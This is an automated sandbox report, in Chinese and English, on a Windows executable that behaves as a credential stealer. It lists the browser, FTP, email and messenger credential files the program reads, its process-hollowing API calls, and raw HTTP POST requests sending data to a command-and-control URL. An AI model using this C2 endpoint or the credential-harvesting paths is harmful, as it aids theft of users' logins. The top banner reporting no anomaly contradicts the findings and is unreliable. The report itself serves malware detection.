SmartHawk

11.2

0-day

该样本未表现出任何异常！

重新分析

下载样本

a455c463dc4befb219d1786ca3246e8556b3c7525ba3f5d603857d7487326f40

43d363cd1ee1b31c082a1822f725e814.exe

分析耗时

40s

最近分析

文件大小

635.0KB

静态报毒动态报毒 PUTTY

未检测暂无鹰眼引擎检测结果

未检测暂无反病毒引擎检测结果

Queries for the computername (3 个事件)

Time & API	Arguments	Status	Return
1619386234.647374 GetComputerNameW	computer_name: OSKAR-PC	success	1
1619386236.428374 GetComputerNameW	computer_name: OSKAR-PC	success	1
1619386237.428374 GetComputerNameW	computer_name: OSKAR-PC	success	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 个事件)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Tries to locate where the browsers are installed (1 个事件)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1619386228.210374 GlobalMemoryStatusEx		success	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 个事件)

section	CODE
section	DATA
section	BSS

The executable uses a known packer (1 个事件)

packer

BobSoft Mini Delphi -> BoB / BobSoft

One or more processes crashed (2 个事件)

Time & API	Arguments	Status	Return	Repeated
1619384483.28125 __exception__	stacktrace: 43d363cd1ee1b31c082a1822f725e814+0x6bb16 @ 0x46bb16 43d363cd1ee1b31c082a1822f725e814+0x3dbb @ 0x403dbb BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5 registers.esp: 1637912 registers.edi: 4635464 registers.eax: 0 registers.ebp: 1638204 registers.edx: 2130566132 registers.ebx: 0 registers.esi: 71 registers.ecx: 3770679296 exception.instruction_r: f7 f0 90 90 90 90 90 33 c0 5a 59 59 64 89 10 eb exception.symbol: 43d363cd1ee1b31c082a1822f725e814+0x6b8fb exception.instruction: div eax exception.module: 43d363cd1ee1b31c082a1822f725e814.exe exception.exception_code: 0xc0000094 exception.offset: 440571 exception.address: 0x46b8fb	success	0	0
1619386238.178374 __exception__	stacktrace: BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5 registers.esp: 38993772 registers.edi: 6851320 registers.eax: 4 registers.ebp: 38993800 registers.edx: 0 registers.ebx: 4 registers.esi: 4 registers.ecx: 6851304 exception.instruction_r: 8b 04 02 89 31 5e c3 55 8b ec 51 56 8b f1 8b 06 exception.symbol: 43d363cd1ee1b31c082a1822f725e814+0x12f88 exception.instruction: mov eax, dword ptr [edx + eax] exception.module: 43d363cd1ee1b31c082a1822f725e814.exe exception.exception_code: 0xc0000005 exception.offset: 77704 exception.address: 0x412f88	success	0	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 个事件)

suspicious_features

POST method with no referer header, HTTP version 1.0 used

suspicious_request

POST http://supergeorgia.ge/ged/fre.php

Performs some HTTP requests (1 个事件)

request

POST http://supergeorgia.ge/ged/fre.php

Sends data using the HTTP POST Method (1 个事件)

request

POST http://supergeorgia.ge/ged/fre.php

Allocates read-write-execute memory (usually to unpack itself) (3 个事件)

Time & API	Arguments	Status
1619384482.34425 NtAllocateVirtualMemory	process_identifier: 2520 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) process_handle: 0xffffffff allocation_type: 4096 (MEM_COMMIT) base_address: 0x003f0000	success
1619384483.43825 NtAllocateVirtualMemory	process_identifier: 2520 region_size: 24576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) process_handle: 0xffffffff allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) base_address: 0x004d0000	success
1619384483.43825 NtAllocateVirtualMemory	process_identifier: 2520 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) process_handle: 0xffffffff allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) base_address: 0x01f50000	success

Steals private information from local Internet browsers (19 个事件)

file	C:\Users\Administrator.Oskar-PC\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Web Data
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\Opera\Opera Next\data\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\Opera\Opera Next\data\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Chromium\User Data\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Chromium\User Data\Default\Web Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Web Data
file	C:\Users\Administrator.Oskar-PC\AppData\LocalMapleStudio\ChromePlus\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\LocalMapleStudio\ChromePlus\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Nichrome\User Data\Default\Web Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Nichrome\User Data\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\RockMelt\User Data\Default\Web Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\RockMelt\User Data\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Yandex\YandexBrowser\User Data\Default\Web Data
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\SeaMonkey
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox

Moves the original executable to a new location (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1619386237.413374 MoveFileWithProgressW	oldfilepath: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\43d363cd1ee1b31c082a1822f725e814.exe newfilepath: C:\Users\Administrator.Oskar-PC\AppData\Roaming\6ED2B0\0019EA.exe newfilepath_r: C:\Users\Administrator.Oskar-PC\AppData\Roaming\6ED2B0\0019EA.exe flags: 1 oldfilepath_r: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\43d363cd1ee1b31c082a1822f725e814.exe	success	1	0

The binary likely contains encrypted or compressed data indicative of a packer (1 个事件)

entropy

7.599674507578894

section

{'size_of_data': '0x0001e400', 'virtual_address': '0x00085000', 'entropy': 7.599674507578894, 'name': '.rsrc', 'virtual_size': '0x0001e2b8'}

description

A section with a high entropy has been found

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1619386235.975374 LookupPrivilegeValueW	system_name: privilege_name: SeDebugPrivilege	success	1	0

Communicates with host for which no DNS query was performed (1 个事件)

host

172.217.24.14

Harvests credentials from local FTP client softwares (22 个事件)

file	C:\Program Files (x86)\FTPGetter\Profile\servers.xml
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\FTPGetter\servers.xml
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\wcx_ftp.ini
file	C:\Windows\wcx_ftp.ini
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\GHISLER\wcx_ftp.ini
file	C:\Users\Administrator.Oskar-PC\wcx_ftp.ini
file	C:\Windows\32BitFtp.ini
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Program Files (x86)\FileZilla\Filezilla.xml
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\FileZilla\filezilla.xml
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\FileZilla\recentservers.xml
registry	HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts
registry	HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
registry	HKEY_CURRENT_USER\Software\Ghisler\Total Commander
registry	HKEY_CURRENT_USER\Software\VanDyke\SecureFX
registry	HKEY_CURRENT_USER\Software\LinasFTP\Site Manager
registry	HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
registry	HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
registry	HKEY_LOCAL_MACHINE\Software\SimonTatham\PuTTY\Sessions
registry	HKEY_CURRENT_USER\Software\Martin Prikryl
registry	HKEY_LOCAL_MACHINE\Software\Martin Prikryl

Harvests information related to installed instant messenger clients (1 个事件)

file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\.purple\accounts.xml

Harvests credentials from local email clients (3 个事件)

registry	HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird
registry	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 个事件)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2520 called NtSetContextThread to modify thread in remote process 1948
1619384483.54725 NtSetContextThread	thread_handle: 0x00000100 registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4274654 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 process_identifier: 1948	success	0	0

Putty Files, Registry Keys and/or Mutexes Detected

Resumed a suspended thread in a remote process potentially indicative of process injection (2 个事件)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2520 resumed a thread in remote process 1948
1619384483.65625 NtResumeThread	thread_handle: 0x00000100 suspend_count: 1 process_identifier: 1948	success	0	0

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 个事件)

dead_host

172.217.24.14:443

Executed a process and injected code into it, probably while unpacking (7 个事件)

Time & API	Arguments	Status	Return
1619384483.51625 CreateProcessInternalW	thread_identifier: 1320 thread_handle: 0x00000100 process_identifier: 1948 current_directory: filepath: track: 1 command_line: "C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\43d363cd1ee1b31c082a1822f725e814.exe" filepath_r: stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) process_handle: 0x00000104 inherit_handles: 0	success	1
1619384483.51625 NtUnmapViewOfSection	process_identifier: 1948 region_size: 4096 process_handle: 0x00000104 base_address: 0x00400000	success	0
1619384483.51625 NtMapViewOfSection	section_handle: 0x0000010c process_identifier: 1948 commit_size: 663552 win32_protect: 64 (PAGE_EXECUTE_READWRITE) buffer: process_handle: 0x00000104 allocation_type: 0 () section_offset: 0 view_size: 663552 base_address: 0x00400000	success	0
1619384483.54725 NtGetContextThread	thread_handle: 0x00000100	success	0
1619384483.54725 NtSetContextThread	thread_handle: 0x00000100 registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4274654 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 process_identifier: 1948	success	0
1619384483.65625 NtResumeThread	thread_handle: 0x00000100 suspend_count: 1 process_identifier: 1948	success	0
1619386233.006374 NtResumeThread	thread_handle: 0x00000110 suspend_count: 1 process_identifier: 1948	success	0

暂无二进制图像该样本未生成二进制可视化图像

暂无运行截图该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析

⚡ 行为特征

🛡️ 防护建议

🔧 技术手段

🎯 检测方法

🤖

Static Analysis
Strings

PE Compile Time

1992-04-09 06:34:16

Imports

Library kernel32.dll:

• 0x47817c DeleteCriticalSection

• 0x478180 LeaveCriticalSection

• 0x478184 EnterCriticalSection

• 0x478188 InitializeCriticalSection

• 0x47818c VirtualFree

• 0x478190 VirtualAlloc

• 0x478194 LocalFree

• 0x478198 LocalAlloc

• 0x47819c GetVersion

• 0x4781a0 GetCurrentThreadId

• 0x4781a4 InterlockedDecrement

• 0x4781a8 InterlockedIncrement

• 0x4781ac VirtualQuery

• 0x4781b0 WideCharToMultiByte

• 0x4781b4 MultiByteToWideChar

• 0x4781b8 lstrlenA

• 0x4781bc lstrcpynA

• 0x4781c0 LoadLibraryExA

• 0x4781c4 GetThreadLocale

• 0x4781c8 GetStartupInfoA

• 0x4781cc GetProcAddress

• 0x4781d0 GetModuleHandleA

• 0x4781d4 GetModuleFileNameA

• 0x4781d8 GetLocaleInfoA

• 0x4781dc GetCommandLineA

• 0x4781e0 FreeLibrary

• 0x4781e4 FindFirstFileA

• 0x4781e8 FindClose

• 0x4781ec ExitProcess

• 0x4781f0 WriteFile

• 0x4781f4 UnhandledExceptionFilter

• 0x4781f8 RtlUnwind

• 0x4781fc RaiseException

• 0x478200 GetStdHandle

Library user32.dll:

• 0x478208 GetKeyboardType

• 0x47820c LoadStringA

• 0x478210 MessageBoxA

• 0x478214 CharNextA

Library advapi32.dll:

• 0x47821c RegQueryValueExA

• 0x478220 RegOpenKeyExA

• 0x478224 RegCloseKey

Library oleaut32.dll:

• 0x47822c SysFreeString

• 0x478230 SysReAllocStringLen

• 0x478234 SysAllocStringLen

Library kernel32.dll:

• 0x47823c TlsSetValue

• 0x478240 TlsGetValue

• 0x478244 LocalAlloc

• 0x478248 GetModuleHandleA

Library advapi32.dll:

• 0x478250 RegQueryValueExA

• 0x478254 RegOpenKeyExA

• 0x478258 RegCloseKey

Library kernel32.dll:

• 0x478260 lstrcpyA

• 0x478264 WriteFile

• 0x478268 WinExec

• 0x47826c WaitForSingleObject

• 0x478270 VirtualQuery

• 0x478274 VirtualFree

• 0x478278 VirtualAllocEx

• 0x47827c VirtualAlloc

• 0x478280 Sleep

• 0x478284 SizeofResource

• 0x478288 SetThreadLocale

• 0x47828c SetFilePointer

• 0x478290 SetEvent

• 0x478294 SetErrorMode

• 0x478298 SetEndOfFile

• 0x47829c ResetEvent

• 0x4782a0 ReadFile

• 0x4782a4 MultiByteToWideChar

• 0x4782a8 MulDiv

• 0x4782ac LockResource

• 0x4782b0 LoadResource

• 0x4782b4 LoadLibraryA

• 0x4782b8 LeaveCriticalSection

• 0x4782bc InitializeCriticalSection

• 0x4782c0 GlobalUnlock

• 0x4782c4 GlobalSize

• 0x4782c8 GlobalReAlloc

• 0x4782cc GlobalHandle

• 0x4782d0 GlobalLock

• 0x4782d4 GlobalFree

• 0x4782d8 GlobalFindAtomA

• 0x4782dc GlobalDeleteAtom

• 0x4782e0 GlobalAlloc

• 0x4782e4 GlobalAddAtomA

• 0x4782e8 GetVersionExA

• 0x4782ec GetVersion

• 0x4782f0 GetUserDefaultLCID

• 0x4782f4 GetTickCount

• 0x4782f8 GetThreadLocale

• 0x4782fc GetSystemInfo

• 0x478300 GetStringTypeExA

• 0x478304 GetStdHandle

• 0x478308 GetProcAddress

• 0x47830c GetModuleHandleA

• 0x478310 GetModuleFileNameA

• 0x478314 GetLocaleInfoA

• 0x478318 GetLocalTime

• 0x47831c GetLastError

• 0x478320 GetFullPathNameA

• 0x478324 GetFileAttributesA

• 0x478328 GetDiskFreeSpaceA

• 0x47832c GetDateFormatA

• 0x478330 GetCurrentThreadId

• 0x478334 GetCurrentProcessId

• 0x478338 GetCurrentProcess

• 0x47833c GetComputerNameA

• 0x478340 GetCPInfo

• 0x478344 GetACP

• 0x478348 FreeResource

• 0x47834c InterlockedExchange

• 0x478350 FreeLibrary

• 0x478354 FormatMessageA

• 0x478358 FindResourceA

• 0x47835c FindFirstFileA

• 0x478360 FindClose

• 0x478364 FileTimeToLocalFileTime

• 0x478368 FileTimeToDosDateTime

• 0x47836c EnumCalendarInfoA

• 0x478370 EnterCriticalSection

• 0x478374 DeleteCriticalSection

• 0x478378 CreateThread

• 0x47837c CreateFileA

• 0x478380 CreateEventA

• 0x478384 CompareStringA

• 0x478388 CloseHandle

Library version.dll:

• 0x478390 VerQueryValueA

• 0x478394 GetFileVersionInfoSizeA

• 0x478398 GetFileVersionInfoA

Library gdi32.dll:

• 0x4783a0 UnrealizeObject

• 0x4783a4 StretchBlt

• 0x4783a8 SetWindowOrgEx

• 0x4783ac SetWinMetaFileBits

• 0x4783b0 SetViewportOrgEx

• 0x4783b4 SetTextColor

• 0x4783b8 SetStretchBltMode

• 0x4783bc SetROP2

• 0x4783c0 SetPixel

• 0x4783c4 SetMapMode

• 0x4783c8 SetEnhMetaFileBits

• 0x4783cc SetDIBColorTable

• 0x4783d0 SetBrushOrgEx

• 0x4783d4 SetBkMode

• 0x4783d8 SetBkColor

• 0x4783dc SelectPalette

• 0x4783e0 SelectObject

• 0x4783e4 SelectClipRgn

• 0x4783e8 SaveDC

• 0x4783ec RestoreDC

• 0x4783f0 Rectangle

• 0x4783f4 RectVisible

• 0x4783f8 RealizePalette

• 0x4783fc Polyline

• 0x478400 PlayEnhMetaFile

• 0x478404 PatBlt

• 0x478408 MoveToEx

• 0x47840c MaskBlt

• 0x478410 LineTo

• 0x478414 LPtoDP

• 0x478418 IntersectClipRect

• 0x47841c GetWindowOrgEx

• 0x478420 GetWinMetaFileBits

• 0x478424 GetTextMetricsA

• 0x478428 GetTextExtentPoint32A

• 0x47842c GetSystemPaletteEntries

• 0x478430 GetStockObject

• 0x478434 GetPixel

• 0x478438 GetPaletteEntries

• 0x47843c GetObjectA

• 0x478440 GetEnhMetaFilePaletteEntries

• 0x478444 GetEnhMetaFileHeader

• 0x478448 GetEnhMetaFileDescriptionA

• 0x47844c GetEnhMetaFileBits

• 0x478450 GetDeviceCaps

• 0x478454 GetDIBits

• 0x478458 GetDIBColorTable

• 0x47845c GetDCOrgEx

• 0x478460 GetCurrentPositionEx

• 0x478464 GetClipBox

• 0x478468 GetBrushOrgEx

• 0x47846c GetBitmapBits

• 0x478470 GdiFlush

• 0x478474 ExcludeClipRect

• 0x478478 DeleteObject

• 0x47847c DeleteEnhMetaFile

• 0x478480 DeleteDC

• 0x478484 CreateSolidBrush

• 0x478488 CreatePenIndirect

• 0x47848c CreatePalette

• 0x478490 CreateHalftonePalette

• 0x478494 CreateFontIndirectA

• 0x478498 CreateEnhMetaFileA

• 0x47849c CreateDIBitmap

• 0x4784a0 CreateDIBSection

• 0x4784a4 CreateCompatibleDC

• 0x4784a8 CreateCompatibleBitmap

• 0x4784ac CreateBrushIndirect

• 0x4784b0 CreateBitmap

• 0x4784b4 CopyEnhMetaFileA

• 0x4784b8 CloseEnhMetaFile

• 0x4784bc BitBlt

Library user32.dll:

• 0x4784c4 CreateWindowExA

• 0x4784c8 WindowFromPoint

• 0x4784cc WinHelpA

• 0x4784d0 WaitMessage

• 0x4784d4 UpdateWindow

• 0x4784d8 UnregisterClassA

• 0x4784dc UnhookWindowsHookEx

• 0x4784e0 TranslateMessage

• 0x4784e4 TranslateMDISysAccel

• 0x4784e8 TrackPopupMenu

• 0x4784ec SystemParametersInfoA

• 0x4784f0 ShowWindow

• 0x4784f4 ShowScrollBar

• 0x4784f8 ShowOwnedPopups

• 0x4784fc ShowCursor

• 0x478500 SetWindowsHookExA

• 0x478504 SetWindowPos

• 0x478508 SetWindowPlacement

• 0x47850c SetWindowLongA

• 0x478510 SetTimer

• 0x478514 SetScrollRange

• 0x478518 SetScrollPos

• 0x47851c SetScrollInfo

• 0x478520 SetRect

• 0x478524 SetPropA

• 0x478528 SetParent

• 0x47852c SetMenuItemInfoA

• 0x478530 SetMenu

• 0x478534 SetForegroundWindow

• 0x478538 SetFocus

• 0x47853c SetCursor

• 0x478540 SetClassLongA

• 0x478544 SetCapture

• 0x478548 SetActiveWindow

• 0x47854c SendMessageA

• 0x478550 ScrollWindow

• 0x478554 ScreenToClient

• 0x478558 RemovePropA

• 0x47855c RemoveMenu

• 0x478560 ReleaseDC

• 0x478564 ReleaseCapture

• 0x478568 RegisterWindowMessageA

• 0x47856c RegisterClipboardFormatA

• 0x478570 RegisterClassA

• 0x478574 RedrawWindow

• 0x478578 PtInRect

• 0x47857c PostQuitMessage

• 0x478580 PostMessageA

• 0x478584 PeekMessageA

• 0x478588 OffsetRect

• 0x47858c OemToCharA

• 0x478590 MessageBoxA

• 0x478594 MapWindowPoints

• 0x478598 MapVirtualKeyA

• 0x47859c LoadStringA

• 0x4785a0 LoadKeyboardLayoutA

• 0x4785a4 LoadIconA

• 0x4785a8 LoadCursorA

• 0x4785ac LoadBitmapA

• 0x4785b0 KillTimer

• 0x4785b4 IsZoomed

• 0x4785b8 IsWindowVisible

• 0x4785bc IsWindowEnabled

• 0x4785c0 IsWindow

• 0x4785c4 IsRectEmpty

• 0x4785c8 IsIconic

• 0x4785cc IsDialogMessageA

• 0x4785d0 IsChild

• 0x4785d4 InvalidateRect

• 0x4785d8 IntersectRect

• 0x4785dc InsertMenuItemA

• 0x4785e0 InsertMenuA

• 0x4785e4 InflateRect

• 0x4785e8 GetWindowThreadProcessId

• 0x4785ec GetWindowTextA

• 0x4785f0 GetWindowRect

• 0x4785f4 GetWindowPlacement

• 0x4785f8 GetWindowLongA

• 0x4785fc GetWindowDC

• 0x478600 GetTopWindow

• 0x478604 GetSystemMetrics

• 0x478608 GetSystemMenu

• 0x47860c GetSysColorBrush

• 0x478610 GetSysColor

• 0x478614 GetSubMenu

• 0x478618 GetScrollRange

• 0x47861c GetScrollPos

• 0x478620 GetScrollInfo

• 0x478624 GetPropA

• 0x478628 GetParent

• 0x47862c GetWindow

• 0x478630 GetMessageTime

• 0x478634 GetMenuStringA

• 0x478638 GetMenuState

• 0x47863c GetMenuItemInfoA

• 0x478640 GetMenuItemID

• 0x478644 GetMenuItemCount

• 0x478648 GetMenu

• 0x47864c GetLastActivePopup

• 0x478650 GetKeyboardState

• 0x478654 GetKeyboardLayoutList

• 0x478658 GetKeyboardLayout

• 0x47865c GetKeyState

• 0x478660 GetKeyNameTextA

• 0x478664 GetIconInfo

• 0x478668 GetForegroundWindow

• 0x47866c GetFocus

• 0x478670 GetDlgItem

• 0x478674 GetDesktopWindow

• 0x478678 GetDCEx

• 0x47867c GetDC

• 0x478680 GetCursorPos

• 0x478684 GetCursor

• 0x478688 GetClipboardData

• 0x47868c GetClientRect

• 0x478690 GetClassNameA

• 0x478694 GetClassInfoA

• 0x478698 GetCapture

• 0x47869c GetActiveWindow

• 0x4786a0 FrameRect

• 0x4786a4 FindWindowA

• 0x4786a8 FillRect

• 0x4786ac EqualRect

• 0x4786b0 EnumWindows

• 0x4786b4 EnumThreadWindows

• 0x4786b8 EndPaint

• 0x4786bc EndDeferWindowPos

• 0x4786c0 EnableWindow

• 0x4786c4 EnableScrollBar

• 0x4786c8 EnableMenuItem

• 0x4786cc DrawTextA

• 0x4786d0 DrawMenuBar

• 0x4786d4 DrawIconEx

• 0x4786d8 DrawIcon

• 0x4786dc DrawFrameControl

• 0x4786e0 DrawFocusRect

• 0x4786e4 DrawEdge

• 0x4786e8 DispatchMessageA

• 0x4786ec DestroyWindow

• 0x4786f0 DestroyMenu

• 0x4786f4 DestroyIcon

• 0x4786f8 DestroyCursor

• 0x4786fc DeleteMenu

• 0x478700 DeferWindowPos

• 0x478704 DefWindowProcA

• 0x478708 DefMDIChildProcA

• 0x47870c DefFrameProcA

• 0x478710 CreatePopupMenu

• 0x478714 CreateMenu

• 0x478718 CreateIcon

• 0x47871c ClientToScreen

• 0x478720 CheckMenuItem

• 0x478724 CallWindowProcA

• 0x478728 CallNextHookEx

• 0x47872c BeginPaint

• 0x478730 BeginDeferWindowPos

• 0x478734 CharNextA

• 0x478738 CharLowerBuffA

• 0x47873c CharLowerA

• 0x478740 CharToOemA

• 0x478744 AdjustWindowRectEx

• 0x478748 ActivateKeyboardLayout

Library kernel32.dll:

• 0x478750 Sleep

Library oleaut32.dll:

• 0x478758 SafeArrayPtrOfIndex

• 0x47875c SafeArrayGetUBound

• 0x478760 SafeArrayGetLBound

• 0x478764 SafeArrayCreate

• 0x478768 VariantChangeType

• 0x47876c VariantCopy

• 0x478770 VariantClear

• 0x478774 VariantInit

Library ole32.dll:

• 0x47877c CreateStreamOnHGlobal

• 0x478780 IsAccelerator

• 0x478784 OleDraw

• 0x478788 OleSetMenuDescriptor

• 0x47878c CoTaskMemFree

• 0x478790 ProgIDFromCLSID

• 0x478794 StringFromCLSID

• 0x478798 CoCreateInstance

• 0x47879c CoGetClassObject

• 0x4787a0 CoUninitialize

• 0x4787a4 CoInitialize

• 0x4787a8 IsEqualGUID

Library oleaut32.dll:

• 0x4787b0 GetErrorInfo

• 0x4787b4 GetActiveObject

• 0x4787b8 SysFreeString

Library comctl32.dll:

• 0x4787c0 ImageList_SetIconSize

• 0x4787c4 ImageList_GetIconSize

• 0x4787c8 ImageList_Write

• 0x4787cc ImageList_Read

• 0x4787d0 ImageList_GetDragImage

• 0x4787d4 ImageList_DragShowNolock

• 0x4787d8 ImageList_SetDragCursorImage

• 0x4787dc ImageList_DragMove

• 0x4787e0 ImageList_DragLeave

• 0x4787e4 ImageList_DragEnter

• 0x4787e8 ImageList_EndDrag

• 0x4787ec ImageList_BeginDrag

• 0x4787f0 ImageList_Remove

• 0x4787f4 ImageList_DrawEx

• 0x4787f8 ImageList_Replace

• 0x4787fc ImageList_Draw

• 0x478800 ImageList_GetBkColor

• 0x478804 ImageList_SetBkColor

• 0x478808 ImageList_ReplaceIcon

• 0x47880c ImageList_Add

• 0x478810 ImageList_GetImageCount

• 0x478814 ImageList_Destroy

• 0x478818 ImageList_Create

• 0x47881c InitCommonControls

Library comdlg32.dll:

• 0x478824 GetSaveFileNameA

• 0x478828 GetOpenFileNameA

Library user32.dll:

• 0x478830 DdeCmpStringHandles

• 0x478834 DdeFreeStringHandle

• 0x478838 DdeQueryStringA

• 0x47883c DdeCreateStringHandleA

• 0x478840 DdeGetLastError

• 0x478844 DdeFreeDataHandle

• 0x478848 DdeUnaccessData

• 0x47884c DdeAccessData

• 0x478850 DdeCreateDataHandle

• 0x478854 DdeClientTransaction

• 0x478858 DdeNameService

• 0x47885c DdePostAdvise

• 0x478860 DdeSetUserHandle

• 0x478864 DdeQueryConvInfo

• 0x478868 DdeDisconnect

• 0x47886c DdeConnect

• 0x478870 DdeUninitialize

• 0x478874 DdeInitializeA

Library winmm.dll:

• 0x47887c mciSendCommandA

• 0x478880 mciGetErrorStringA

Hosts

No hosts contacted.

DNS

Name	Response	Post-Analysis Lookup
time.windows.com	A 20.189.79.72 CNAME time.microsoft.akadns.net
dns.msftncsi.com	A 131.107.255.255	131.107.255.255
clients2.google.com	CNAME clients.l.google.com A 216.58.200.238	172.217.160.78
supergeorgia.ge	A 78.140.191.25	78.140.191.25
dns.msftncsi.com	AAAA fd3e:4f5a:5b81::1	131.107.255.255
teredo.ipv6.microsoft.com		127.0.0.1

TCP

Source	Source Port	Destination	Destination Port
192.168.56.101	49181	78.140.191.25 supergeorgia.ge	80
192.168.56.101	49183	78.140.191.25 supergeorgia.ge	80
192.168.56.101	49184	78.140.191.25 supergeorgia.ge	80

UDP

Source	Source Port	Destination	Destination Port
192.168.56.101	49235	114.114.114.114	53
192.168.56.101	50568	114.114.114.114	53
192.168.56.101	51963	114.114.114.114	53
192.168.56.101	53380	114.114.114.114	53
192.168.56.101	53657	114.114.114.114	53
192.168.56.101	55368	114.114.114.114	53
192.168.56.101	56539	114.114.114.114	53
192.168.56.101	137	192.168.56.255	137
192.168.56.101	138	192.168.56.255	138
192.168.56.101	123	20.189.79.72 time.windows.com	123
192.168.56.101	50002	224.0.0.252	5355
192.168.56.101	50534	224.0.0.252	5355
192.168.56.101	51808	224.0.0.252	5355
192.168.56.101	56804	224.0.0.252	5355
192.168.56.101	57756	224.0.0.252	5355
192.168.56.101	57874	224.0.0.252	5355
192.168.56.101	60123	224.0.0.252	5355
192.168.56.101	60384	224.0.0.252	5355
192.168.56.101	62191	224.0.0.252	5355
192.168.56.101	62912	224.0.0.252	5355

HTTP & HTTPS Requests

URI	Data
http://supergeorgia.ge/ged/fre.php	POST /ged/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: supergeorgia.ge Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9AC4F644 Content-Length: 196 Connection: close
http://supergeorgia.ge/ged/fre.php	POST /ged/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: supergeorgia.ge Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9AC4F644 Content-Length: 169 Connection: close

URI

Data

http://supergeorgia.ge/ged/fre.php

POST /ged/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: supergeorgia.ge
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: 9AC4F644
Content-Length: 196
Connection: close

http://supergeorgia.ge/ged/fre.php

POST /ged/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
